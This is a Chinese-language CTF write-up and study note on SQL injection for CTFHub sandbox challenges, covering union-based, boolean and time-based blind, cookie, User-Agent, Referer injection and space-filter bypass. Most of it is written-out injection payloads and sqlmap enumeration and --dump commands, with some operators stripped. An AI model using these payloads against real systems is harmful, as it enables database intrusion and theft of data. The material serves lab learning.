无锡企业网站制作策划,网页制作公司是做什么的,课程网站开发的研究现状,外贸网站友情链接sql学的太不好了#xff0c;回炉重造
判断 Sql 注入漏洞的类型#xff1a; 1.数字型 当输入的参 x 为整型时#xff0c;通常 abc.php 中 Sql 语句类型大致如下#xff1a;select * from 表名 where id x这种类型可以使用经典的 and 11 和 and 12 来判断#xff…sql学的太不好了回炉重造
判断 Sql 注入漏洞的类型 1.数字型 当输入的参 x 为整型时通常 abc.php 中 Sql 语句类型大致如下select * from 表名 where id x这种类型可以使用经典的 and 11 和 and 12 来判断 Url 地址中输入 http://xxx/abc.php?id x and 11 页面依旧运行正常继续进行下一步。 Url 地址中继续输入 http://xxx/abc.php?id x and 12 页面运行错误则说明此 Sql 注入为数字型注入。 2.字符型 当输入的参 x 为字符型时通常 abc.php 中 SQL 语句类型大致如下select * from 表名 where id x这种类型我们同样可以使用 and ‘1’1 和 and ‘1’2来判断 1.Url 地址中输入 http://xxx/abc.php?id x and 11 页面运行正常继续进行下一步。 2.Url 地址中继续输入 http://xxx/abc.php?id x and 12 页面运行错误则说明此 Sql 注入为字符型注入。 order by判断列数 SQL的Order By语句的详细介绍-51CTO.COM ORDER BY语句是SQL中非常重要的一个关键字它可以让我们对查询结果进行排序让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据并且可以按照升序或降序进行排序。同时我们也可以指定多个排序依据以及按照不同的优先级进行排序。 sql语句闭合 https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html 重要函数 group_concat()函数 GROUP_CONCAT(xxx)是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行那么就会将这多行的字符串连接每个字符串之间会有特定的符号进行分隔。 GROUP_CONCAT()是MySQL数据库提供的一个聚合函数用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串并可选地添加分隔符。 information_schema information_schema 数据库跟 performance_schema 一样都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析而 information_schema 用于存储数据库元数据(关于数据的数据)例如数据库名、表名、列的数据类型、访问权限等。 ctfhub
整数型注入 题目已经说了是整数型注入: ?id1 and 11,有回显 ?id1 and 12无回显说明有注入点判断列数 ?id-1 union select 3,database()查当前数据库 -1 union select 3,group_concat(table_name) from information_schema.tables where table_schemasqli 查表 ?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemasqli and table_nameflag 查列 ?id-1 union select 1,group_concat(flag) from sqli.flag查字段内容 字符型注入当输入参数为字符串时称为字符型。数字型与字符型注入最大的区别在于数字型不需要单引号闭合而字符串类型一般要使用单引号来闭合。
字符型注入
手注
判断注入类型 ?id1and 11 ?id1and 12 判断列数 两列 判断回显位-1 union select 1,2#
-1 union select 1,database()# 查列名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()# 查字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameflag# 查字段内容-1 union select 1,(select flag from flag)# sqlmap注入
查库
sqlmap -u http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id --dbs -batch 查表
sqlmap -u http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id -D sqli --tables 查字段
sqlmap -u http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id -D sqli -T flag --columns 查字段内容
sqlmap -u http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id -D sqli -T flag -C flag --dump 布尔盲注 布尔类型Boolean type) 布尔类型只有两个值True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型一般用于逻辑运算和比较运算。 盲注 盲注是指在SQL注入过程中SQL语句执行的选择后选择的数据不能回显到前端页面。此时我们需要利用一些方法进行判断或者尝试这个过程称之为盲注。 web页面返回True 或者 false构造SQL语句利用andornot等关键字 手注
判断当前数据库名的长度
1 and length(database())4 匹配数据库名的ASCII码把数据库名的各个字符分别与ASCII码匹配每一次匹配都要跑一次ASCII表 1 and ascii(substr(database(),1,1))115 1 and ascii(substr(database(),2,1))113 ... #数据库是security这里直接给了true值 1 and (select count(table_name) from information_schema.tables where table_schemasqli)2 #sqli下共是4个表直接给了true值 匹配表名的ASCII码 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasqli limit 0,1),1,1))102 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasqli limit 0,1),2,1))108 ... #sqli第一个表名是flag直接给了true值 判断字段列数 1 and (select count(column_name) from information_schema.columns where table_schemasqli and table_nameflag)1 #flag下有1个字段直接给了true值 sqlmap注入
sqlmap -u http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id --dbs
爆库 爆的很慢
sqlmap -u http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id -D sqli --tables
爆表 sqlmap -u http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns
爆字段 爆字段内容得到flag跑的太慢了 时间盲注
手注的话基本没方法都是用脚本或者sqlmap还有bp
cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客 直接就是sqlmap
爆库
qlmap -u http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id1 -dbs 爆表
sqlmap -u http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id1 -D sqli --tables 爆字段
sqlmap -u http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns 爆字段内容得到flag
sqlmap -u http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump MySQL结构
还是sqlmap
sqlmap -u http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id1 --dbs sqlmap -u http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id1 -D sqli --tables sqlmap -u http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id1 -D sqli -T xmujvhnaol --columns sqlmap -u http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id1 -D sqli -T xmujvhnaol -C uzufsfbkmh --dump Cookie注入
sqlmap
爆表
sqlmap -u http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/ --cookie id1 --level2 --dbs sqlmap -u http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/ --cookie id1 --level2 -D sqli --tables sqlmap -u http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/ --cookie id1 --level2 -D sqli -T nstjjcciab --columns
sqlmap -u http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/ --cookie id1 --level2 -D sqli -T nstjjcciab -C modgbjjxvs --dump UA注入 CTFHub - UA注入-CSDN博客
有三种方式一种是bp抓包注入一种是sqlmap一种是跑脚本
sqlmap -u http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/ --level3 --dbs sqlmap -u http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/ --level3 -D sqli --tables sqlmap -u http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/ --level3 -D sqli -T nirrlnzyau --columns sqlmap -u http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/ --level3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump Refer注入
CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客
Referer: 0 union select 1,database() Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schemasqli Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schemasqli and table_nameefdlqtawmh Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh 空格过滤
常用绕过空格过滤的方法
/**/、()、%0a
?id1/**/and/**/11 ?id1/**/and/**/12报错了确定是数字型注入 看回显位 查列数 发现到3没有回显了一共两列
开始注入
查库?id-1/**/union/**/select/**/1,database()
得到库名sqli ?id-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schemasqli 查表 查字段?id-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_namelyispybtyt 查字段内容 得到flag